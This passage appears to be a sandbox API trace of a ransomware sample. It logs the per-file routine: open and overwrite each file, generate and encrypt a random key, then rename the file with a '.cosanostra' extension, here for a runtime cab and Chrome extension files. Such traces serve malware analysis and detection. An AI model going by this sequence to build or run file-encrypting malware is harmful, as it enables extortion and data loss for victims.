Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 127 [0086.609] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0086.625] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.625] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f86c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f86c*=0x2800, lpOverlapped=0x0) returned 1 [0086.625] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.625] WriteFile (in: hFile=0x194, lpBuffer=0x251f8ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f86c, lpOverlapped=0x0 | out: lpBuffer=0x251f8ac*, lpNumberOfBytesWritten=0x251f86c*=0x4, lpOverlapped=0x0) returned 1 [0086.660] WriteFile (in: hFile=0x194, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f86c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f86c*=0x30, lpOverlapped=0x0) returned 1 [0086.660] CloseHandle (hObject=0x194) returned 1 [0086.677] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.cosanostra" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.cosanostra")) returned 1 [0086.678] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8b0 | out: pbBuffer=0x251f8b0) returned 1 [0086.678] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8a8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8a8*=0x30) returned 1 [0086.678] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0086.678] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 147 [0086.678] StrStrW (lpFirst="manifest.json", lpSrch=".txt") returned 0x0 [0086.761] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffad6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.762] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x251f86c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f86c*=0x52a, lpOverlapped=0x0) returned 1 [0086.762] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.762] WriteFile (in: hFile=0x194, lpBuffer=0x251f8ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f86c, lpOverlapped=0x0 | out: lpBuffer=0x251f8ac*, lpNumberOfBytesWritten=0x251f86c*=0x4, lpOverlapped=0x0) returned 1 [0086.762] WriteFile (in: hFile=0x194, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f86c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f86c*=0x30, lpOverlapped=0x0) returned 1 [0086.762] CloseHandle (hObject=0x194) returned 1 [0086.762] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.cosanostra")) returned 1 [0086.764] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8a8 | out: pbBuffer=0x251f8a8) returned 1 [0086.764] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8a0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8a0*=0x30) returned 1 [0086.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0086.764] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 159 [0086.764] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.843] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffd87, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.843] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x279, lpNumberOfBytesWritten=0x251f864, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f864*=0x279, lpOverlapped=0x0) returned 1 [0086.926] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.926] WriteFile (in: hFile=0x194, lpBuffer=0x251f8a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f864, lpOverlapped=0x0 | out: lpBuffer=0x251f8a4*, lpNumberOfBytesWritten=0x251f864*=0x4, lpOverlapped=0x0) returned 1 [0086.926] WriteFile (in: hFile=0x194, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f864, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f864*=0x30, lpOverlapped=0x0) returned 1 [0086.926] CloseHandle (hObject=0x194) returned 1 [0086.927] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.cosanostra")) returned 1 [0086.958] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8a0 | out: pbBuffer=0x251f8a0) returned 1 [0086.958] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f898*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f898*=0x30) returned 1 [0086.958] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0086.959] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json") returned 155 [0086.959] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.960] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffedc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.960] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x251f85c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f85c*=0x124, lpOverlapped=0x0) returned 1 [0086.961] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.961] WriteFile (in: hFile=0x194, lpBuffer=0x251f89c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f85c, lpOverlapped=0x0 | out: lpBuffer=0x251f89c*, lpNumberOfBytesWritten=0x251f85c*=0x4, lpOverlapped=0x0) returned 1 [0086.961] WriteFile (in: hFile=0x194, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f85c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f85c*=0x30, lpOverlapped=0x0) returned 1 [0086.962] CloseHandle (hObject=0x194) returned 1 [0086.962] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.cosanostra")) returned 1 [0086.964] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f898 | out: pbBuffer=0x251f898) returned 1 [0086.964] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f890*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f890*=0x30) returned 1 [0086.964] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0086.964] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json") returned 155 [0086.964] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.965] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffec8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.965] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x251f854, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f854*=0x138, lpOverlapped=0x0) returned 1 [0086.965] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.966] WriteFile (in: hFile=0x194, lpBuffer=0x251f894*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f854, lpOverlapped=0x0 | out: lpBuffer=0x251f894*, lpNumberOfBytesWritten=0x251f854*=0x4, lpOverlapped=0x0) returned 1 [0086.966] WriteFile (in: hFile=0x194, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f854, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f854*=0x30, lpOverlapped=0x0) returned 1 [0086.966] CloseHandle (hObject=0x194) returned 1 [0086.966] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.cosanostra")) returned 1 [0086.970] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f888 | out: pbBuffer=0x251f888) returned 1 [0086.970] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f880*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f880*=0x30) returned 1 [0086.970] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0086.971] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json") returned 166 [0086.971] StrStrW (lpFirst="verified_contents.json", lpSrch=".txt") returned 0x0 [0087.021] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.021] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f844, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f844*=0x2800, lpOverlapped=0x0) returned 1 [0087.021] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.021] WriteFile (in: hFile=0x194, lpBuffer=0x251f884*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f844, lpOverlapped=0x0 | out: lpBuffer=0x251f884*, lpNumberOfBytesWritten=0x251f844*=0x4, lpOverlapped=0x0) returned 1 [0087.021] WriteFile (in: hFile=0x194, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f844, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f844*=0x30, lpOverlapped=0x0) returned 1 [0087.021] CloseHandle (hObject=0x194) returned 1 [0087.021] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.cosanostra")) returned 1 [0087.023] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f880 | out: pbBuffer=0x251f880) returned 1 [0087.023] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f878*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f878*=0x30) returned 1 [0087.023] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.024] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json") returned 159 [0087.024] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.033] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffd30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.033] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x251f83c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f83c*=0x2d0, lpOverlapped=0x0) returned 1 [0087.033] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.033] WriteFile (in: hFile=0x194, lpBuffer=0x251f87c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f83c, lpOverlapped=0x0 | out: lpBuffer=0x251f87c*, lpNumberOfBytesWritten=0x251f83c*=0x4, lpOverlapped=0x0) returned 1 [0087.033] WriteFile (in: hFile=0x194, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f83c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f83c*=0x30, lpOverlapped=0x0) returned 1 [0087.034] CloseHandle (hObject=0x194) returned 1 [0087.034] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.cosanostra")) returned 1 [0087.035] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f878 | out: pbBuffer=0x251f878) returned 1 [0087.035] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f870*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f870*=0x30) returned 1 [0087.036] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.036] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 159 [0087.036] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.108] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffffbb5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.108] WriteFile (in: hFile=0x194, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x44b, lpNumberOfBytesWritten=0x251f834, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f834*=0x44b, lpOverlapped=0x0) returned 1 [0087.108] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.108] WriteFile (in: hFile=0x194, lpBuffer=0x251f874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f834, lpOverlapped=0x0 | out: lpBuffer=0x251f874*, lpNumberOfBytesWritten=0x251f834*=0x4, lpOverlapped=0x0) returned 1 [0087.108] WriteFile (in: hFile=0x194, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f834, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f834*=0x30, lpOverlapped=0x0) returned 1 [0087.108] CloseHandle (hObject=0x194) returned 1 [0087.108] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.cosanostra") returned 170 [0087.108] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json.cosanostra")) returned 1 [0087.110] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f870 | out: pbBuffer=0x251f870) returned 1 [0087.110] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f868*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f868*=0x30) returned 1 [0087.110] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c 